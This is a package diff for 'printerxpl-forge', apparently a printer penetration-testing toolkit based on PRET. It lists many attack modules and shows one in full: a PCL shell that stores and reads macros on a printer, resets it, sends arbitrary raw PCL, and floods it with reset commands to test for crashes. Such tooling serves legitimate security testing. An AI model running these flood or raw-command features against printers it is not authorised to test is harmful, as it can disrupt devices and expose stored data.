printerxpl-forge 6.2.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- nse/README.md +204 -0
- nse/__init__.py +6 -0
- nse/install_nse.py +412 -0
- nse/lib/printerxpl.lua +238 -0
- nse/scripts/cups-info.nse +74 -0
- nse/scripts/cups-queue-info.nse +43 -0
- nse/scripts/hp-printers-cve-2022-1026.nse +121 -0
- nse/scripts/http-device-mac.nse +107 -0
- nse/scripts/http-hp-ilo-info.nse +121 -0
- nse/scripts/http-info-xerox-enum.nse +101 -0
- nse/scripts/http-vuln-cve2022-1026.nse +158 -0
- nse/scripts/lexmark-config.nse +89 -0
- nse/scripts/pjl-ready-message.nse +106 -0
- nse/scripts/printer-banner.nse +217 -0
- nse/scripts/printer-cups-rce.nse +189 -0
- nse/scripts/printer-cve-detect.nse +279 -0
- nse/scripts/printer-discover.nse +205 -0
- nse/scripts/printer-firmware-exposed.nse +219 -0
- nse/scripts/printer-hp-pjl.nse +192 -0
- nse/scripts/printer-http-ews.nse +293 -0
- nse/scripts/printer-ipp-info.nse +235 -0
- nse/scripts/printer-lexmark-ipp.nse +203 -0
- nse/scripts/printer-passback.nse +204 -0
- nse/scripts/printer-pjl-info.nse +146 -0
- nse/scripts/printer-printnightmare.nse +211 -0
- nse/scripts/printer-snmp-info.nse +176 -0
- nse/scripts/printer-vuln-check.nse +256 -0
- nse/scripts/snmp-device-mac.nse +93 -0
- nse/scripts/snmp-info.nse +146 -0
- nse/scripts/snmp-sysdescr.nse +70 -0
- printerxpl_forge-6.2.0.dist-info/METADATA +919 -0
- printerxpl_forge-6.2.0.dist-info/RECORD +97 -0
- printerxpl_forge-6.2.0.dist-info/WHEEL +5 -0
- printerxpl_forge-6.2.0.dist-info/entry_points.txt +4 -0
- printerxpl_forge-6.2.0.dist-info/licenses/LICENSE +21 -0
- printerxpl_forge-6.2.0.dist-info/top_level.txt +4 -0
- src/assets/fonts/gunplay.pfa +1671 -0
- src/assets/fonts/kshandwrt.pfa +315 -0
- src/assets/fonts/laksoner.pfa +2402 -0
- src/assets/fonts/paintcans.pfa +9699 -0
- src/assets/fonts/stencilod.pfa +4076 -0
- src/assets/fonts/takecover.pfa +26138 -0
- src/assets/fonts/topsecret.pfa +6652 -0
- src/assets/fonts/whoa.pfa +773 -0
- src/assets/mibs/HOST-RESOURCES-MIB +1540 -0
- src/assets/mibs/Printer-MIB +4389 -0
- src/assets/mibs/README.md +9 -0
- src/assets/mibs/SNMPv2-MIB +854 -0
- src/assets/overlays/hacker.eps +596 -0
- src/assets/overlays/smiley.eps +214 -0
- src/assets/overlays/smiley2.eps +240 -0
- src/core/attack_orchestrator.py +1025 -0
- src/core/capabilities.py +323 -0
- src/core/destructive_audit.py +430 -0
- src/core/discovery.py +488 -0
- src/core/osdetect.py +74 -0
- src/core/poly_runner.py +579 -0
- src/core/printer.py +1426 -0
- src/main.py +2134 -0
- src/modules/install_printer.py +318 -0
- src/modules/login_bruteforce.py +852 -0
- src/modules/pcl.py +506 -0
- src/modules/pjl.py +3575 -0
- src/modules/print_job.py +1290 -0
- src/modules/ps.py +1102 -0
- src/payloads/__init__.py +98 -0
- src/payloads/assets/overlays/notice.eps +9 -0
- src/protocols/__init__.py +19 -0
- src/protocols/firmware.py +738 -0
- src/protocols/ipp.py +216 -0
- src/protocols/ipp_attacks.py +609 -0
- src/protocols/lpd.py +141 -0
- src/protocols/network_map.py +1004 -0
- src/protocols/raw.py +173 -0
- src/protocols/smb.py +359 -0
- src/protocols/ssrf_pivot.py +427 -0
- src/protocols/storage.py +587 -0
- src/ui/__init__.py +6 -0
- src/ui/interactive.py +742 -0
- src/ui/spinner.py +112 -0
- src/ui/tables.py +132 -0
- src/utils/banner_grabber.py +852 -0
- src/utils/codebook.py +456 -0
- src/utils/config.py +522 -0
- src/utils/cve_loader.py +158 -0
- src/utils/default_creds.py +134 -0
- src/utils/discovery_online.py +1327 -0
- src/utils/exploit_manager.py +805 -0
- src/utils/fuzzer.py +220 -0
- src/utils/helper.py +732 -0
- src/utils/local_printers.py +307 -0
- src/utils/ml_engine.py +491 -0
- src/utils/operators.py +474 -0
- src/utils/ports.py +234 -0
- src/utils/vuln_scanner.py +823 -0
- src/utils/wordlist_loader.py +412 -0
- src/version.py +36 -0
src/modules/pcl.py
ADDED
|
@@ -0,0 +1,506 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
# -*- coding: utf-8 -*-
|
|
3
|
+
"""
|
|
4
|
+
PCL Module for PrinterXPL-Forge
|
|
5
|
+
===================================
|
|
6
|
+
Complete PCL (Printer Command Language) penetration testing module
|
|
7
|
+
|
|
8
|
+
Based on PRET pcl.py but enhanced for PrinterXPL-Forge
|
|
9
|
+
"""
|
|
10
|
+
|
|
11
|
+
# Author : Andre Henrique (@mrhenrike)
|
|
12
|
+
# GitHub : https://github.com/mrhenrike
|
|
13
|
+
# LinkedIn : https://linkedin.com/in/mrhenrike
|
|
14
|
+
# X/Twitter : https://x.com/mrhenrike
|
|
15
|
+
|
|
16
|
+
import re
|
|
17
|
+
import os
|
|
18
|
+
import random
|
|
19
|
+
import time
|
|
20
|
+
|
|
21
|
+
from core.printer import printer
|
|
22
|
+
from utils.helper import log, output, conv, file, item, const as c
|
|
23
|
+
|
|
24
|
+
|
|
25
|
+
class pcl(printer):
|
|
26
|
+
"""
|
|
27
|
+
PCL shell for PrinterXPL-Forge - Complete Implementation
|
|
28
|
+
"""
|
|
29
|
+
|
|
30
|
+
def __init__(self, args):
|
|
31
|
+
super().__init__(args)
|
|
32
|
+
self.prompt = f"{self.target}:pcl> "
|
|
33
|
+
self.macros = {} # Track macros for virtual filesystem
|
|
34
|
+
|
|
35
|
+
# --------------------------------------------------------------------
|
|
36
|
+
# Help overview (category-based, PJL-style)
|
|
37
|
+
# --------------------------------------------------------------------
|
|
38
|
+
def do_help(self, arg):
|
|
39
|
+
"""Show help for commands (PCL)"""
|
|
40
|
+
topic = (arg or "").strip()
|
|
41
|
+
if topic:
|
|
42
|
+
# Delegate to base generic help for specific topics
|
|
43
|
+
return super().do_help(topic)
|
|
44
|
+
|
|
45
|
+
categories = {
|
|
46
|
+
"information": [
|
|
47
|
+
"id", "info", "selftest"
|
|
48
|
+
],
|
|
49
|
+
"virtualfs": [
|
|
50
|
+
"ls", "put", "get", "delete"
|
|
51
|
+
],
|
|
52
|
+
"control": [
|
|
53
|
+
"reset", "formfeed", "copies"
|
|
54
|
+
],
|
|
55
|
+
"attacks": [
|
|
56
|
+
"flood", "execute"
|
|
57
|
+
],
|
|
58
|
+
}
|
|
59
|
+
|
|
60
|
+
implemented = {name for name in dir(self) if name.startswith("do_")}
|
|
61
|
+
def exists(cmd):
|
|
62
|
+
return f"do_{cmd}" in implemented
|
|
63
|
+
|
|
64
|
+
print()
|
|
65
|
+
print("PrinterXPL-Forge - PCL Commands")
|
|
66
|
+
print("=" * 70)
|
|
67
|
+
print("Available command categories:")
|
|
68
|
+
total = 0
|
|
69
|
+
for cat, cmds in categories.items():
|
|
70
|
+
avail = [c for c in cmds if exists(c)]
|
|
71
|
+
total += len(avail)
|
|
72
|
+
label = cat.ljust(13)
|
|
73
|
+
print(f" {label}- {len(avail)} commands")
|
|
74
|
+
print()
|
|
75
|
+
print(f"Total: {total} PCL commands available")
|
|
76
|
+
print("Use 'help <command>' for specific details")
|
|
77
|
+
print()
|
|
78
|
+
for cat, cmds in categories.items():
|
|
79
|
+
avail = [c for c in cmds if exists(c)]
|
|
80
|
+
if not avail:
|
|
81
|
+
continue
|
|
82
|
+
print(cat.capitalize() + ":")
|
|
83
|
+
print("-" * 70)
|
|
84
|
+
colw = max(len(x) for x in avail) + 2
|
|
85
|
+
cols = max(1, 70 // colw)
|
|
86
|
+
for i in range(0, len(avail), cols):
|
|
87
|
+
row = avail[i:i+cols]
|
|
88
|
+
print("".join(x.ljust(colw) for x in row))
|
|
89
|
+
print()
|
|
90
|
+
|
|
91
|
+
# --------------------------------------------------------------------
|
|
92
|
+
# Low-level PCL send/receive
|
|
93
|
+
|
|
94
|
+
def cmd(self, str_send, wait=True, crop=True, binary=False):
|
|
95
|
+
"""
|
|
96
|
+
Send a PCL command and optionally wait for its reply.
|
|
97
|
+
"""
|
|
98
|
+
token = "PCLECHO -" + str(random.randrange(2**16))
|
|
99
|
+
footer = c.ESC + f"*s-{random.randrange(2**16)}X" if wait else ""
|
|
100
|
+
payload = c.UEL + c.PCL_HEADER + str_send + footer + c.UEL
|
|
101
|
+
|
|
102
|
+
# log the command
|
|
103
|
+
log().write(self.logfile, str_send + os.linesep)
|
|
104
|
+
# send
|
|
105
|
+
self.send(payload)
|
|
106
|
+
|
|
107
|
+
if not wait:
|
|
108
|
+
return ""
|
|
109
|
+
|
|
110
|
+
# receive until token with timeout
|
|
111
|
+
try:
|
|
112
|
+
if hasattr(self.conn, '_sock') and self.conn._sock:
|
|
113
|
+
self.conn._sock.settimeout(30.0)
|
|
114
|
+
|
|
115
|
+
raw = self.recv(re.escape(token) + r".*$", wait, True, binary)
|
|
116
|
+
except Exception as e:
|
|
117
|
+
output().errmsg(f"Failed to receive response: {str(e)}")
|
|
118
|
+
return ""
|
|
119
|
+
|
|
120
|
+
return raw
|
|
121
|
+
|
|
122
|
+
def on_connect(self, mode):
|
|
123
|
+
"""
|
|
124
|
+
Initialize PCL environment on first connect.
|
|
125
|
+
"""
|
|
126
|
+
if mode == "init":
|
|
127
|
+
# Enter PCL mode
|
|
128
|
+
self.cmd(c.ESC + "E", False) # PCL reset
|
|
129
|
+
|
|
130
|
+
# --------------------------------------------------------------------
|
|
131
|
+
# 📋 SYSTEM INFORMATION COMMANDS
|
|
132
|
+
# --------------------------------------------------------------------
|
|
133
|
+
|
|
134
|
+
def do_id(self, *args):
|
|
135
|
+
"Show printer identification (PCL-specific)"
|
|
136
|
+
print("PCL Printer Identification:")
|
|
137
|
+
print("=" * 60)
|
|
138
|
+
|
|
139
|
+
# Get printer information via PCL
|
|
140
|
+
result = self.cmd(c.ESC + "*s1M" + c.ESC + "*s0M") # Enter/exit config
|
|
141
|
+
if result:
|
|
142
|
+
print(f"Response: {result}")
|
|
143
|
+
|
|
144
|
+
def help_id(self):
|
|
145
|
+
"""Show help for id command"""
|
|
146
|
+
print()
|
|
147
|
+
print("id - Show PCL printer identification")
|
|
148
|
+
print("=" * 60)
|
|
149
|
+
print("DESCRIPTION:")
|
|
150
|
+
print(" Displays printer identification using PCL commands.")
|
|
151
|
+
print()
|
|
152
|
+
print("USAGE:")
|
|
153
|
+
print(" id")
|
|
154
|
+
print()
|
|
155
|
+
|
|
156
|
+
def do_selftest(self, *arg):
|
|
157
|
+
"Perform printer self-test"
|
|
158
|
+
output().message("Initiating PCL self-test...")
|
|
159
|
+
self.cmd(c.ESC + "z") # Self-test
|
|
160
|
+
output().message("Self-test initiated")
|
|
161
|
+
|
|
162
|
+
def help_selftest(self):
|
|
163
|
+
"""Show help for selftest command"""
|
|
164
|
+
print()
|
|
165
|
+
print("selftest - Perform PCL self-test")
|
|
166
|
+
print("=" * 60)
|
|
167
|
+
print("DESCRIPTION:")
|
|
168
|
+
print(" Triggers the printer's built-in self-test routine.")
|
|
169
|
+
print()
|
|
170
|
+
print("USAGE:")
|
|
171
|
+
print(" selftest")
|
|
172
|
+
print()
|
|
173
|
+
|
|
174
|
+
# --------------------------------------------------------------------
|
|
175
|
+
# 📁 VIRTUAL FILESYSTEM (PCL Macros)
|
|
176
|
+
# --------------------------------------------------------------------
|
|
177
|
+
|
|
178
|
+
def do_ls(self, arg):
|
|
179
|
+
"List PCL macros (virtual filesystem)"
|
|
180
|
+
if not self.macros:
|
|
181
|
+
output().info("No macros stored (virtual filesystem empty)")
|
|
182
|
+
return
|
|
183
|
+
|
|
184
|
+
print("PCL Macros (Virtual Files):")
|
|
185
|
+
print("=" * 60)
|
|
186
|
+
for macro_id, info in sorted(self.macros.items()):
|
|
187
|
+
name = info.get('name', 'unnamed')
|
|
188
|
+
size = info.get('size', 0)
|
|
189
|
+
print(f"Macro {macro_id:5d} {size:8d} bytes {name}")
|
|
190
|
+
|
|
191
|
+
def help_ls(self):
|
|
192
|
+
"""Show help for ls command"""
|
|
193
|
+
print()
|
|
194
|
+
print("ls - List PCL macros (virtual filesystem)")
|
|
195
|
+
print("=" * 60)
|
|
196
|
+
print("DESCRIPTION:")
|
|
197
|
+
print(" PCL doesn't have a real filesystem, but macros can be used")
|
|
198
|
+
print(" to store data virtually. This lists all stored macros.")
|
|
199
|
+
print()
|
|
200
|
+
print("USAGE:")
|
|
201
|
+
print(" ls")
|
|
202
|
+
print()
|
|
203
|
+
print("NOTES:")
|
|
204
|
+
print(" - Each macro is like a virtual file")
|
|
205
|
+
print(" - Macros persist until printer reset")
|
|
206
|
+
print()
|
|
207
|
+
|
|
208
|
+
def do_put(self, arg):
|
|
209
|
+
"Upload file as PCL macro"
|
|
210
|
+
if not arg:
|
|
211
|
+
output().errmsg("Usage: put <local_file>")
|
|
212
|
+
return
|
|
213
|
+
|
|
214
|
+
if not os.path.exists(arg):
|
|
215
|
+
output().errmsg(f"File not found: {arg}")
|
|
216
|
+
return
|
|
217
|
+
|
|
218
|
+
data = file().read(arg)
|
|
219
|
+
if not data:
|
|
220
|
+
return
|
|
221
|
+
|
|
222
|
+
# Assign macro ID
|
|
223
|
+
macro_id = len(self.macros) + 1000
|
|
224
|
+
|
|
225
|
+
# Create macro with file data
|
|
226
|
+
macro_cmd = c.ESC + f"&f{macro_id}y{len(data)}X" + data.decode('latin-1', errors='ignore')
|
|
227
|
+
self.cmd(macro_cmd, False)
|
|
228
|
+
|
|
229
|
+
# Track macro
|
|
230
|
+
self.macros[macro_id] = {
|
|
231
|
+
'name': os.path.basename(arg),
|
|
232
|
+
'size': len(data)
|
|
233
|
+
}
|
|
234
|
+
|
|
235
|
+
output().message(f"Uploaded {arg} as macro {macro_id}")
|
|
236
|
+
|
|
237
|
+
def help_put(self):
|
|
238
|
+
"""Show help for put command"""
|
|
239
|
+
print()
|
|
240
|
+
print("put - Upload file as PCL macro")
|
|
241
|
+
print("=" * 60)
|
|
242
|
+
print("DESCRIPTION:")
|
|
243
|
+
print(" Stores a local file as a PCL macro on the printer.")
|
|
244
|
+
print(" PCL macros serve as a virtual filesystem.")
|
|
245
|
+
print()
|
|
246
|
+
print("USAGE:")
|
|
247
|
+
print(" put <local_file>")
|
|
248
|
+
print()
|
|
249
|
+
print("EXAMPLES:")
|
|
250
|
+
print(" put document.txt # Store as macro")
|
|
251
|
+
print(" put data.bin # Store binary data")
|
|
252
|
+
print()
|
|
253
|
+
|
|
254
|
+
def do_get(self, arg):
|
|
255
|
+
"Download PCL macro"
|
|
256
|
+
if not arg:
|
|
257
|
+
output().errmsg("Usage: get <macro_id>")
|
|
258
|
+
return
|
|
259
|
+
|
|
260
|
+
try:
|
|
261
|
+
macro_id = int(arg)
|
|
262
|
+
except ValueError:
|
|
263
|
+
output().errmsg("Macro ID must be numeric")
|
|
264
|
+
return
|
|
265
|
+
|
|
266
|
+
# Request macro execution/output
|
|
267
|
+
result = self.cmd(c.ESC + f"&f{macro_id}X")
|
|
268
|
+
if result:
|
|
269
|
+
info = self.macros.get(macro_id, {})
|
|
270
|
+
name = info.get('name', f"macro_{macro_id}.dat")
|
|
271
|
+
file().write(name, result.encode())
|
|
272
|
+
output().message(f"Downloaded macro {macro_id} to {name}")
|
|
273
|
+
|
|
274
|
+
def help_get(self):
|
|
275
|
+
"""Show help for get command"""
|
|
276
|
+
print()
|
|
277
|
+
print("get - Download PCL macro")
|
|
278
|
+
print("=" * 60)
|
|
279
|
+
print("DESCRIPTION:")
|
|
280
|
+
print(" Retrieves a PCL macro from the printer.")
|
|
281
|
+
print()
|
|
282
|
+
print("USAGE:")
|
|
283
|
+
print(" get <macro_id>")
|
|
284
|
+
print()
|
|
285
|
+
print("EXAMPLES:")
|
|
286
|
+
print(" get 1000 # Download macro 1000")
|
|
287
|
+
print()
|
|
288
|
+
|
|
289
|
+
def do_delete(self, arg):
|
|
290
|
+
"Delete PCL macro"
|
|
291
|
+
if not arg:
|
|
292
|
+
output().errmsg("Usage: delete <macro_id>")
|
|
293
|
+
return
|
|
294
|
+
|
|
295
|
+
try:
|
|
296
|
+
macro_id = int(arg)
|
|
297
|
+
except ValueError:
|
|
298
|
+
output().errmsg("Macro ID must be numeric")
|
|
299
|
+
return
|
|
300
|
+
|
|
301
|
+
# Delete macro
|
|
302
|
+
self.cmd(c.ESC + f"&f{macro_id}d1X")
|
|
303
|
+
if macro_id in self.macros:
|
|
304
|
+
del self.macros[macro_id]
|
|
305
|
+
output().message(f"Deleted macro {macro_id}")
|
|
306
|
+
|
|
307
|
+
# --------------------------------------------------------------------
|
|
308
|
+
# 📊 PCL INFORMATION COMMANDS
|
|
309
|
+
# --------------------------------------------------------------------
|
|
310
|
+
|
|
311
|
+
# PCL location types for info queries (fix: issue #89 — hard disk fonts missed)
|
|
312
|
+
_PCL_LOCATIONS = {
|
|
313
|
+
'1': '(Selected)',
|
|
314
|
+
'2': '(All Locations)',
|
|
315
|
+
'3': '(Internal)',
|
|
316
|
+
'4': '(Downloaded)',
|
|
317
|
+
'5': '(Cartridge)',
|
|
318
|
+
'6': '(Hard Disk)',
|
|
319
|
+
'7': '(ROM/SIMMs)',
|
|
320
|
+
}
|
|
321
|
+
|
|
322
|
+
# PCL entity codes: (location_type_code, inquiry_entity_code, description)
|
|
323
|
+
_PCL_ENTITIES = {
|
|
324
|
+
'fonts': ('0', 'Fonts'),
|
|
325
|
+
'macros': ('1', 'Macros'),
|
|
326
|
+
'patterns': ('2', 'User-defined Patterns'),
|
|
327
|
+
'symbols': ('3', 'Symbol Sets'),
|
|
328
|
+
'extended': ('4', 'Fonts Extended'),
|
|
329
|
+
}
|
|
330
|
+
|
|
331
|
+
def do_info(self, arg):
|
|
332
|
+
"Get PCL information: info <fonts|macros|patterns|symbols|extended>"
|
|
333
|
+
if not arg:
|
|
334
|
+
print("Available info categories:")
|
|
335
|
+
print(" fonts - Show installed fonts (all locations incl. hard disk)")
|
|
336
|
+
print(" macros - Show installed macros")
|
|
337
|
+
print(" patterns - Show user-defined patterns")
|
|
338
|
+
print(" symbols - Show symbol sets")
|
|
339
|
+
print(" extended - Show extended fonts")
|
|
340
|
+
return
|
|
341
|
+
|
|
342
|
+
if arg == "macros":
|
|
343
|
+
self.do_ls("")
|
|
344
|
+
return
|
|
345
|
+
|
|
346
|
+
entity_info = self._PCL_ENTITIES.get(arg)
|
|
347
|
+
if not entity_info:
|
|
348
|
+
output().errmsg(f"Unknown category: {arg}. Use: fonts, macros, patterns, symbols, extended")
|
|
349
|
+
return
|
|
350
|
+
|
|
351
|
+
entity_code, entity_desc = entity_info
|
|
352
|
+
|
|
353
|
+
# Iterate all location types to catch fonts on hard disk (issue #89)
|
|
354
|
+
found_any = False
|
|
355
|
+
for loc_code, loc_label in sorted(self._PCL_LOCATIONS.items()):
|
|
356
|
+
str_send = "*s" + loc_code + "T" # set location type
|
|
357
|
+
str_send += c.ESC + "*s0U" # set location unit (all units)
|
|
358
|
+
str_send += c.ESC + "*s" + entity_code + "I" # set inquire entity
|
|
359
|
+
result = self.cmd(str_send)
|
|
360
|
+
if result and result.strip():
|
|
361
|
+
print(f"{entity_desc} {loc_label}:")
|
|
362
|
+
print(result.strip())
|
|
363
|
+
print()
|
|
364
|
+
found_any = True
|
|
365
|
+
|
|
366
|
+
if not found_any:
|
|
367
|
+
output().info(f"No {entity_desc.lower()} found across all locations.")
|
|
368
|
+
|
|
369
|
+
def help_info(self):
|
|
370
|
+
"""Show help for info command"""
|
|
371
|
+
print()
|
|
372
|
+
print("info - Get PCL information")
|
|
373
|
+
print("=" * 60)
|
|
374
|
+
print("DESCRIPTION:")
|
|
375
|
+
print(" Retrieves various types of information from PCL printer.")
|
|
376
|
+
print()
|
|
377
|
+
print("USAGE:")
|
|
378
|
+
print(" info <category>")
|
|
379
|
+
print()
|
|
380
|
+
print("CATEGORIES:")
|
|
381
|
+
print(" fonts - Installed fonts")
|
|
382
|
+
print(" macros - Stored macros")
|
|
383
|
+
print(" patterns - User patterns")
|
|
384
|
+
print(" symbols - Symbol sets")
|
|
385
|
+
print()
|
|
386
|
+
|
|
387
|
+
# --------------------------------------------------------------------
|
|
388
|
+
# ⚙️ PCL CONTROL COMMANDS
|
|
389
|
+
# --------------------------------------------------------------------
|
|
390
|
+
|
|
391
|
+
def do_reset(self, *arg):
|
|
392
|
+
"Reset printer to default state"
|
|
393
|
+
output().warning("Resetting printer...")
|
|
394
|
+
self.cmd(c.ESC + "E") # PCL reset
|
|
395
|
+
self.macros = {} # Clear macro tracking
|
|
396
|
+
output().message("Printer reset")
|
|
397
|
+
|
|
398
|
+
def help_reset(self):
|
|
399
|
+
"""Show help for reset command"""
|
|
400
|
+
print()
|
|
401
|
+
print("reset - Reset printer to default state")
|
|
402
|
+
print("=" * 60)
|
|
403
|
+
print("DESCRIPTION:")
|
|
404
|
+
print(" Sends PCL reset command, clearing all macros and settings.")
|
|
405
|
+
print()
|
|
406
|
+
print("USAGE:")
|
|
407
|
+
print(" reset")
|
|
408
|
+
print()
|
|
409
|
+
|
|
410
|
+
def do_formfeed(self, *arg):
|
|
411
|
+
"Eject current page"
|
|
412
|
+
self.cmd(c.ESC + "&l0H") # Formfeed
|
|
413
|
+
output().message("Page ejected")
|
|
414
|
+
|
|
415
|
+
def do_copies(self, arg):
|
|
416
|
+
"Set number of copies"
|
|
417
|
+
if not arg:
|
|
418
|
+
output().errmsg("Usage: copies <number>")
|
|
419
|
+
return
|
|
420
|
+
|
|
421
|
+
try:
|
|
422
|
+
num = int(arg)
|
|
423
|
+
self.cmd(c.ESC + f"&l{num}X")
|
|
424
|
+
output().message(f"Copies set to {num}")
|
|
425
|
+
except ValueError:
|
|
426
|
+
output().errmsg("Number of copies must be numeric")
|
|
427
|
+
|
|
428
|
+
def help_copies(self):
|
|
429
|
+
"""Show help for copies command"""
|
|
430
|
+
print()
|
|
431
|
+
print("copies - Set number of copies")
|
|
432
|
+
print("=" * 60)
|
|
433
|
+
print("DESCRIPTION:")
|
|
434
|
+
print(" Sets the number of copies to print.")
|
|
435
|
+
print()
|
|
436
|
+
print("USAGE:")
|
|
437
|
+
print(" copies <number>")
|
|
438
|
+
print()
|
|
439
|
+
print("EXAMPLES:")
|
|
440
|
+
print(" copies 5 # Print 5 copies")
|
|
441
|
+
print()
|
|
442
|
+
|
|
443
|
+
# --------------------------------------------------------------------
|
|
444
|
+
# 💥 PCL ATTACK COMMANDS
|
|
445
|
+
# --------------------------------------------------------------------
|
|
446
|
+
|
|
447
|
+
def do_flood(self, arg):
|
|
448
|
+
"Flood printer with PCL commands"
|
|
449
|
+
size = conv().int(arg) or 10000
|
|
450
|
+
output().warning(f"Flooding with {size} PCL commands...")
|
|
451
|
+
|
|
452
|
+
flood_cmd = (c.ESC + "E") * size
|
|
453
|
+
self.cmd(flood_cmd, False)
|
|
454
|
+
output().message("Flood sent")
|
|
455
|
+
|
|
456
|
+
def help_flood(self):
|
|
457
|
+
"""Show help for flood command"""
|
|
458
|
+
print()
|
|
459
|
+
print("flood - Flood printer with PCL commands")
|
|
460
|
+
print("=" * 60)
|
|
461
|
+
print("DESCRIPTION:")
|
|
462
|
+
print(" Sends a large number of PCL reset commands to test")
|
|
463
|
+
print(" for buffer overflow vulnerabilities.")
|
|
464
|
+
print()
|
|
465
|
+
print("USAGE:")
|
|
466
|
+
print(" flood [size]")
|
|
467
|
+
print()
|
|
468
|
+
print("EXAMPLES:")
|
|
469
|
+
print(" flood # Flood with 10000 commands")
|
|
470
|
+
print(" flood 50000 # Larger flood test")
|
|
471
|
+
print()
|
|
472
|
+
|
|
473
|
+
def do_execute(self, arg):
|
|
474
|
+
"Execute arbitrary PCL command"
|
|
475
|
+
if not arg:
|
|
476
|
+
output().errmsg("Usage: execute <pcl_sequence>")
|
|
477
|
+
return
|
|
478
|
+
|
|
479
|
+
# Interpret escape sequences
|
|
480
|
+
pcl_cmd = arg.replace("\\e", c.ESC).replace("<Esc>", c.ESC)
|
|
481
|
+
result = self.cmd(pcl_cmd)
|
|
482
|
+
if result:
|
|
483
|
+
print("Output:")
|
|
484
|
+
print(result)
|
|
485
|
+
|
|
486
|
+
def help_execute(self):
|
|
487
|
+
"""Show help for execute command"""
|
|
488
|
+
print()
|
|
489
|
+
print("execute - Execute arbitrary PCL command")
|
|
490
|
+
print("=" * 60)
|
|
491
|
+
print("DESCRIPTION:")
|
|
492
|
+
print(" Sends raw PCL escape sequences to the printer.")
|
|
493
|
+
print()
|
|
494
|
+
print("USAGE:")
|
|
495
|
+
print(" execute <pcl_sequence>")
|
|
496
|
+
print()
|
|
497
|
+
print("EXAMPLES:")
|
|
498
|
+
print(" execute \\eE # Reset (use \\e for ESC)")
|
|
499
|
+
print(" execute \\e&l1H # Eject page")
|
|
500
|
+
print()
|
|
501
|
+
print("NOTES:")
|
|
502
|
+
print(" - Use \\e to represent ESC character")
|
|
503
|
+
print(" - Requires PCL knowledge")
|
|
504
|
+
print(" - May crash printer if invalid")
|
|
505
|
+
print()
|
|
506
|
+
|